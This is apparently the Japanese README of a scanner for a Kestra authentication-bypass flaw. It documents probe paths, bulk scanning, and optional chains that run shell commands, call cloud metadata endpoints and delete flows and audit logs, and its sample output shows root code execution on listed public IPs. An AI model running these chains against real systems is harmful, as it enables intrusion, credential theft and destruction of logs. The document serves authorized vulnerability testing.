
Kestra 認証バイパス脆弱性チェッカー
Kestraインスタンスをスキャンし、endsWith("/configs") による認証フィルターのバイパスをチェックします。Kestraの AuthenticationFilter.java は、正確なパス /api/v1/configs と比較する代わりに request.getPath().endsWith("/configs") でチェックを行うため、呼び出し側が選択可能なパスセグメント(名前空間、フローID)を介してアドレス指定されるリソースに対し、/configs で終わる任意のパスでBasic認証をバイパスし、認証なしでのフロー作成とRCEを可能にします(CVSS 10.0)。
参照:
GET /api/v1/configs(200が返ること。レスポンスボディからKestraのバージョンを解析)GET /api/v1/{tenant}/flows(認証が有効なら401/403が返ること)/configs で終わるパスに対する6つのGETリクエスト。認証チェックが有効であるにもかかわらず、いずれかが401/403以外を返した場合、インスタンスは脆弱と判断--aggressive)では、書き込みバイパスの可否を確認するためPUTリクエストも送信--rce)全チェーン: シェル/Pythonフロー作成 → 実行トリガー → ログ取得 → コード実行確認 → クリーンアップ--ssrf)Pebbleの http() を使用してAWS/GCP/Azureのクラウドメタデータおよび内部エンドポイントをターゲットとするフローを作成し、ログから証拠を確認--destructive)フロー、ダッシュボード、ログのバイパスパスにDELETEを送信し、破壊的操作バイパスを確認| プローブ | メソッド | パス | 説明 |
|---|---|---|---|
| 公開設定 | GET | /api/v1/configs | 生存確認+バージョン抽出 |
| 保護された通常パス | GET | /api/v1/{tenant}/flows | 認証適用ベースライン |
| フローバイパス | GET | /api/v1/{tenant}/flows/{namespace}/configs | フロー一覧バイパス |
| 実行バイパス | GET | /api/v1/{tenant}/executions/{namespace}/configs | 実行バイパス |
| KVストアバイパス | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | KV読み取りバイパス |
| ダッシュボードバイパス | GET | /api/v1/{tenant}/dashboards/configs | ダッシュボードバイパス |
| ログバイパス | GET | /api/v1/{tenant}/logs/{namespace}/configs | ログアクセスバイパス |
| テンプレートバイパス | GET | /api/v1/{tenant}/templates/{namespace}/configs | テンプレート読み取りバイパス |
--aggressive)| プローブ | メソッド | パス | 説明 |
|---|---|---|---|
| フローPUTバイパス | PUT | フローバイパスと同じ | 最小限の debug.Return フローを作成 |
| KV PUTバイパス | PUT | KVバイパスと同じ | KVエントリ {"scanned": true} を作成 |
--destructive)| プローブ | メソッド | パス | 説明 |
|---|---|---|---|
| フローDELETEバイパス | DELETE | フローバイパスと同じ | "configs" という名前のリソースを削除 |
| ダッシュボードDELETEバイパス | DELETE | ダッシュボードバイパスと同じ | "configs" という名前のダッシュボードを削除 |
| ログDELETEバイパス | DELETE | ログバイパスと同じ | 監査ログを破棄 |
--rce)認証バイパスが確認された場合のみ実行。アドバイザリからの完全チェーン:
| ステップ | メソッド | パス | 説明 |
|---|---|---|---|
| 1. RCEフロー作成 | PUT | /api/v1/{tenant}/flows/{namespace}/configs | io.kestra.plugin.scripts.shell.Commands でフローをデプロイ(echo <marker>, id, hostname)。失敗時は io.kestra.plugin.scripts.python.Script にフォールバック |
| 2. 実行トリガー | POST | /api/v1/{tenant}/executions/{namespace}/configs | バイパスパス経由でフローを開始 |
| 3. ログポーリング | GET | /api/v1/{tenant}/logs/search?executionId=<id> | --poll-retries 回(デフォルト10)まで、--poll-interval 秒(デフォルト3)ごとにポーリングし、一意のRCEマーカーを検索 |
| 4. クリーンアップ | DELETE | ステップ1と同じ | デプロイしたフローを削除 |
--ssrf)認証バイパスが確認された場合のみ実行:
| ステップ | メソッド | パス | 説明 |
|---|---|---|---|
| 1. SSRFフロー作成 | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Pebbleの http() を使い、AWS(169.254.169.254/latest/meta-data/ami-id)、GCP(metadata.google.internal)、Azure(169.254.169.254/metadata/instance)、内部(127.0.0.1:8080/api/v1/configs)を呼び出す debug.Return タスクをデプロイ |
| 2. 実行トリガー | POST | RCEステップ2と同じ | フローをトリガー |
| 3. ログポーリング | GET | /api/v1/{tenant}/logs/search?executionId=<id> | クラウドメタデータの兆候(ami-, i-, 169.254.169.254, metadata.google.internal など)を確認 |
| 4. クリーンアップ | DELETE | ステップ1と同じ | デプロイしたフローを削除 |
positional:
target 単一ターゲットURL(例: http://localhost:8080)
options:
-f, --file ターゲットリストファイル(1行1ターゲット)
-t, --timeout リクエストタイムアウト(秒、デフォルト: 10)
--verify-ssl TLS証明書を検証
-j, --json 標準出力にJSONを出力
-o, --output JSONレポートをファイルに書き込み
--tenant テナント名(デフォルト: "main")
--namespace バイパスパス用名前空間(デフォルト: "tutorial")
-w, --workers 一括スキャンのスレッド数(デフォルト: 10)
-a, --aggressive PUTリクエストを送信して書き込みバイパスを確認
-P, --auto-ports 自動拡張用ポート(デフォルト: 8080 8081 8088 8091 80 443)
advanced probes:
-r, --rce RCE検証チェーンを有効化(シェル+Pythonフロー、実行トリガー、ログ取得、自動クリーンアップ)
-s, --ssrf SSRF検出を有効化(Pebble http() によるクラウドメタデータエンドポイントへの呼び出し、ログベースの証拠収集)
-d, --destructive DELETEプローブを有効化(フロー、ダッシュボード、ログに対して。脆弱なインスタンスでリソースを削除します)
--poll-interval RCE/SSRFチェーンでのログポーリング間隔(秒、デフォルト: 3)
--poll-retries RCE/SSRFチェーンでの最大ログポーリング試行回数(デフォルト: 10)
プローブごとの詳細(バージョン、RCE、SSRF、DELETEステータスによるエンリッチ)と判定:
====================================================================
Target: http://10.0.0.1:8080
Timestamp: 2026-06-30T12:00:00+00:00
====================================================================
Version: 1.3.20 (AFFECTED)
RCE: CONFIRMED via shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: DETECTED
| Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE BYPASS: CONFIRMED destructive ops bypass auth
[Flows Bypass]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Status: 200
Bypass: YES
[Exec Bypass]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Status: 404
Bypass: No
...
── RCE Verification Chain ──
Flow Create: 201
Exec Trigger: 201
Log Evidence: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Flow Cleanup: 204
── SSRF Detection Chain ──
Flow Create: 201
Exec Trigger: 201
Evidence: 200
Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
Flow Cleanup: 204
[VULN] Verdict: VULNERABLE ...
====================================================================
RCE/SSRF/DELフラグ列を含むソート済み表形式:
========================================================================================================================================
BULK SCAN SUMMARY GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# Target Auth Flows Exec KV Dash Logs Tmpl RCE SSRF DEL Ver
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 YES YES YES RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 INC - YES VULN
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - SAFE
...
========================================================================================================================================
Total: 258 | Vulnerable: 5 | RCE Confirmed: 1 | SSRF Detected: 1 | DEL Bypass: 2 | Safe: 29 | Inconclusive: 224
========================================================================================================================================
終了コード: 0 = 脆弱性なし、1 = 脆弱性あり、2 = すべて判断不能。
-j または -o を使用すると、ターゲットごとのエンリッチフィールドが出力に含まれます:
{
"scan_info": {
"scanner": "kestra_cve v2.0.0",
"cve": ["CVE-2026-49869", "CVE-2026-53576"],
"aggressive": true,
"rce": true,
"ssrf": true,
"destructive": true
},
"results": [
{
"target": "http://10.0.0.1:8080",
"vulnerable": true,
"version": "1.3.20",
"version_in_affected_range": true,
"rce_confirmed": true,
"rce_method": "shell",
"rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
"ssrf_detected": true,
"ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
"delete_bypass": true,
"probes": { "..." : "..." }
}
],
"summary": {
"total": 258,
"vulnerable": 5,
"rce_confirmed": 1,
"ssrf_detected": 1,
"delete_bypass": 2,
"safe": 29,
"inconclusive": 224
}
}
スキャナーは GET /api/v1/configs のレスポンスからKestraのバージョンを自動抽出し、分類します:
| バージョン | 分類 |
|---|---|
<= 1.0.44 | 影響あり(1.0系、修正前) |
>= 1.0.45 | 修正済み(1.0系) |
1.3.0 ~ 1.3.20 | 影響あり(1.3系、修正前) |
>= 1.3.21 | 修正済み(1.3系) |
>= 1.4.0 | 修正済み(影響範囲より新しい) |
| 不明 | レスポンスにバージョンが見つからない |
Kestraは別々の修正ブランチ(1.0.x と 1.3.x)を管理しているため、ブランチを考慮した比較を使用しています。
Python 3.10+ が必要です。
pip install -r requirements.txt
python main.py --help
許可された防御的テスト専用です。--rce および --destructive フラグは、ターゲット上で実際のリソースを作成・実行します。自分が所有していないシステムをスキャンする前に、必ず適切な書面による承認を得てください。